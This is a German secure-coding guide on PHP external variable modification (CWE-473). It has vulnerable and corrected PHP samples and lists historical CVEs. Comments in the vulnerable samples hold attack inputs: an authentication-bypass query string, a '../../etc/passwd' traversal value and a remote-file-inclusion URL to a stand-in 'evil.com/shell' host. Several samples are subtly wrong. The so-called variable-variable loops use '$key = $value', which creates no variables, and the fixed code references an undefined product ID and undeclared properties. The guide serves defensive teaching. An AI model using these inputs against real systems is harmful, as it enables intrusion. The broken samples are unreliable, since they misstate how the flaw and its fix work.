PHP Externe Variablenmodifikation

Beschreibung

PHP Externe Variablenmodifikation ist eine Schwachstelle, bei der eine PHP-Anwendung sich nicht ordnungsgemäß gegen die Modifikation von Variablen aus externen Quellen wie Query-Parametern, POST-Daten oder Cookies schützt. Diese Schwachstelle ist besonders gefährlich aufgrund von PHPs historischer register_globals-Funktion (jetzt veraltet und entfernt), die automatisch Variablen aus Benutzereingaben erstellte, und bleibt relevant, wenn Entwickler manuell ähnliche Muster implementieren oder unsichere Variablen-Extraktionsmethoden verwenden. Externe Variablenmodifikation kann Anwendungen zahlreichen Schwächen aussetzen, die sonst nicht existieren würden.

Risiko

PHP externe Variablenmodifikation kann zu Authentifizierungsumgehung, Autorisierungsumgehung, Remote-File-Inclusion und beliebiger Codeausführung führen. Wenn Angreifer interne Variablen durch Manipulation von Request-Parametern kontrollieren können, können sie Sicherheitsflags überschreiben, Dateipfade ändern oder die Anwendungslogik modifizieren. Legacy-Anwendungen oder solche, die unsichere Kodierungsmuster wie extract($_GET) verwenden, sind besonders anfällig. Das Risiko ist schwerwiegend, weil Angreifer oft vollständige Kontrolle über das Anwendungsverhalten erlangen können, indem sie einfach Request-Parameter hinzufügen.

Lösung

Identifizieren Sie alle extern kontrollierbaren Variablen und übernehmen Sie Namenskonventionen, um sie hervorzuheben (z.B. Präfix mit $_input_). Führen Sie angemessene Validierung durch, wenn Sie Eingaben von außerhalb der Vertrauensgrenzen akzeptieren. Deaktivieren Sie register_globals in der PHP-Konfiguration (standardmäßig deaktiviert in PHP 5.4+, entfernt in PHP 8.0+). Verwenden Sie niemals extract() mit Benutzereingaben oder verwenden Sie es mindestens mit dem EXTR_SKIP-Flag. Wenn Sie einen register_globals-Emulator implementieren, vermeiden Sie sorgfältig Variablen-Extraktion und dynamische Evaluierungs-Schwachstellen. Verwenden Sie explizite Variablenzuweisung anstelle von automatischer Registrierung von Benutzereingaben.

Häufige Auswirkungen

AuswirkungDetails
IntegritätUmfang: Integrität

Anwendungsdaten modifizieren - Angreifer können interne Variablen modifizieren, das Anwendungsverhalten ändern, Sicherheitseinstellungen überschreiben oder die Geschäftslogik manipulieren.
ZugriffskontrolleUmfang: Zugriffskontrolle

Schutzmechanismus umgehen - Authentifizierungs- und Autorisierungsprüfungen können durch Überschreiben von Flag-Variablen umgangen werden, die Zugriffsentscheidungen steuern.

Beispielcode

Anfälliger Code

<?php
// Anfällig: register_globals-Emulator
// Dieses Muster war in älteren PHP-Anwendungen üblich

// Anfällig: Extrahiert alle GET-Variablen in den globalen Scope
foreach ($_GET as $key => $value) {
    $key = $value;  // Variable-Variable-Zuweisung
}

// Angreifer kann jetzt JEDE Variable kontrollieren durch Übergabe in URL
// Beispiel: ?authenticated=1&admin=true&debug=1

// Anfällig: Authentifizierungsprüfung
if (!isset($authenticated)) {
    $authenticated = false;
}

if ($authenticated) {
    // Angreifer umgeht durch Besuch von: ?authenticated=1
    include('admin_panel.php');
}
?>

<?php
// Anfällig: Verwendung von extract() mit Benutzereingabe
function vulnerable_process_form() {
    // Extrahiert ALLE POST-Daten als Variablen
    extract($_POST);  // GEFÄHRLICH!

    // Angreifer POST-et: user_role=admin&price=0.01&validated=true
    // Diese werden zu lokalen Variablen: $user_role, $price, $validated

    if ($validated) {
        process_order($price);  // Verwendet angreifer-kontrollierten Preis
    }
}
?>

<?php
// Anfällig: Nicht initialisierte Variable kombiniert mit externer Eingabe
function vulnerable_file_include() {
    // $template ist vor diesem Punkt nicht initialisiert

    if ($_GET['use_custom']) {
        $template = $_GET['template'];
    }

    // Anfällig: Wenn 'use_custom' false ist aber Angreifer übergibt
    // ?template=../../etc/passwd, könnte älteres PHP es trotzdem verwenden

    include($template . '.php');

    // Mit register_globals: ?template=http://evil.com/shell
    // Resultiert in Remote File Inclusion
}
?>

<?php
// Anfällig: Session-Daten-Überschreibung
session_start();

// Anfällig: Überschreibt Session mit POST-Daten
foreach ($_POST as $key => $value) {
    $_SESSION[$key] = $value;
}

// Angreifer POST-et: user_id=1&role=admin&logged_in=true
// Übernimmt Session und erhält Admin-Zugriff

if ($_SESSION['logged_in'] && $_SESSION['role'] == 'admin') {
    show_admin_dashboard();
}
?>
<?php
// Anfällig: Variable-Variable in Schleife
function vulnerable_config_loader($params) {
    foreach ($params as $key => $value) {
        // Anfällig: Erstellt Variablen aus benutzer-kontrollierbarem Array
        global $key;
        $key = $value;
    }
}

// Angreifer kontrolliert $params über manipulierte Eingabe
// Kann jede globale Variable überschreiben einschließlich:
// - Datenbank-Anmeldedaten
// - Sicherheitseinstellungen
// - Include-Pfade

// Anfällig: Automatische Objekt-Property-Zuweisung
class VulnerableUser {
    public $username;
    public $role = 'guest';
    public $is_admin = false;

    public function __construct($data) {
        // Anfällig: Mass Assignment aus Benutzereingabe
        foreach ($data as $key => $value) {
            if (property_exists($this, $key)) {
                $this->$key = $value;
            }
        }
    }
}

// Angreifer POST-et: username=hacker&role=admin&is_admin=true
$user = new VulnerableUser($_POST);
// $user->role ist jetzt 'admin', $user->is_admin ist true
?>

Korrigierter Code

<?php
// Korrigiert: Explizite Variablenbehandlung
function secure_process_form() {
    // Korrigiert: Explizit nur erwartete Variablen zuweisen
    $name = isset($_POST['name']) ? sanitize($_POST['name']) : '';
    $email = isset($_POST['email']) ? filter_var($_POST['email'], FILTER_VALIDATE_EMAIL) : '';
    $quantity = isset($_POST['quantity']) ? (int)$_POST['quantity'] : 1;

    // Korrigiert: Sicherheitssensitive Werte nur von Serverseite
    $price = get_product_price_from_db($product_id);  // Nicht aus Benutzereingabe
    $user_role = $_SESSION['role'] ?? 'guest';        // Aus Session, nicht Request

    // Mit bekannten, kontrollierten Werten validieren und verarbeiten
    if (empty($name) || empty($email)) {
        return ['error' => 'Pflichtfelder fehlen'];
    }

    process_order($name, $email, $quantity, $price);
}
?>

<?php
// Korrigiert: Wenn extract() verwendet werden muss, sichere Optionen verwenden
function safer_extract($data, $allowed_keys) {
    // Korrigiert: Whitelist-Ansatz
    $safe_data = array_intersect_key($data, array_flip($allowed_keys));

    // Korrigiert: EXTR_SKIP verwenden um existierende Variablen nicht zu überschreiben
    extract($safe_data, EXTR_SKIP);

    return $safe_data;
}

// Verwendung
$allowed = ['first_name', 'last_name', 'email'];
$user_input = safer_extract($_POST, $allowed);
// Nur erlaubte Schlüssel werden extrahiert, kann Sicherheitsvariablen nicht überschreiben
?>

<?php
// Korrigiert: Sichere Datei-Einbindung
function secure_file_include() {
    // Korrigiert: Whitelist erlaubter Templates
    $allowed_templates = ['home', 'about', 'contact', 'products'];

    // Korrigiert: Template vom Benutzer abrufen, gegen Whitelist validieren
    $template = $_GET['template'] ?? 'home';

    if (!in_array($template, $allowed_templates, true)) {
        $template = 'home';  // Standard auf sicheren Wert
    }

    // Korrigiert: Pfad ohne Benutzereingabe in Pfadkomponenten konstruieren
    $template_path = __DIR__ . '/templates/' . $template . '.php';

    // Korrigiert: Verifizieren dass Datei existiert und im erwarteten Verzeichnis liegt
    $real_path = realpath($template_path);
    $template_dir = realpath(__DIR__ . '/templates/');

    if ($real_path && strpos($real_path, $template_dir) === 0) {
        include($real_path);
    } else {
        include(__DIR__ . '/templates/error.php');
    }
}
?>

<?php
// Korrigiert: Sichere Session-Behandlung
session_start();

// Korrigiert: Nur bestimmte Session-Schlüssel dürfen gesetzt werden
function update_session_safely($input, $allowed_keys) {
    foreach ($allowed_keys as $key) {
        if (isset($input[$key])) {
            $_SESSION['user_' . $key] = sanitize($input[$key]);
        }
    }
}

// Korrigiert: Explizite Whitelist für Session-Updates
$allowed_updates = ['preferences', 'language', 'timezone'];
update_session_safely($_POST, $allowed_updates);

// Korrigiert: Sicherheitskritische Session-Daten werden nur vom Authentifizierungscode gesetzt
// $_SESSION['user_id'], $_SESSION['role'], $_SESSION['logged_in']
// werden NIEMALS aus Benutzereingabe gesetzt
?>

<?php
// Korrigiert: Sichere Objektinitialisierung
class SecureUser {
    public string $username;
    private string $role = 'guest';
    private bool $is_admin = false;

    // Korrigiert: Whitelist zuweisbarer Eigenschaften
    private const ASSIGNABLE = ['username', 'email', 'display_name'];

    public function __construct(array $data) {
        // Korrigiert: Nur gelistete Eigenschaften zuweisen
        foreach (self::ASSIGNABLE as $key) {
            if (isset($data[$key])) {
                $this->$key = $this->sanitize($data[$key]);
            }
        }

        // Korrigiert: role und is_admin können nur intern gesetzt werden
    }

    public function setRole(string $role): void {
        // Korrigiert: Gegen erlaubte Rollen validieren
        if (in_array($role, ['guest', 'user', 'moderator', 'admin'], true)) {
            $this->role = $role;
            $this->is_admin = ($role === 'admin');
        }
    }

    public function getRole(): string {
        return $this->role;
    }

    private function sanitize($value): string {
        return htmlspecialchars(strip_tags($value), ENT_QUOTES, 'UTF-8');
    }
}

// Angreifer POST-et: username=hacker&role=admin&is_admin=true
$user = new SecureUser($_POST);
// $user->role bleibt 'guest', $user->is_admin bleibt false
// Nur username wurde gesetzt (falls angegeben)
?>

CVE-Beispiele

  • CVE-2000-0860 - Versteckte Formvariablen wurden über register_globals exponiert, was beliebigen Dateizugriff ermöglichte.
  • CVE-2001-0854 - Fehlplatziertes Vertrauen in $PHP_SELF-Variable führte zu Sicherheitsumgehung.
  • CVE-2002-0764 - Remote File Inclusion durch modifizierte Variablen.
  • CVE-2001-1025 - Schlüsselvariablen-Modifikation in nicht initialisierten Skripten ermöglichte Umgehung.
  • CVE-2003-0754 - Authentifizierungsumgehung durch Array-Modifikation.

Referenzen

  1. MITRE Corporation. "CWE-473: PHP External Variable Modification." https://cwe.mitre.org/data/definitions/473.html
  2. PHP Manual. "Using Register Globals." https://www.php.net/manual/en/security.globals.php
  3. OWASP. "PHP Security Cheat Sheet."
  4. CAPEC-77. "Manipulating User-Controlled Variables."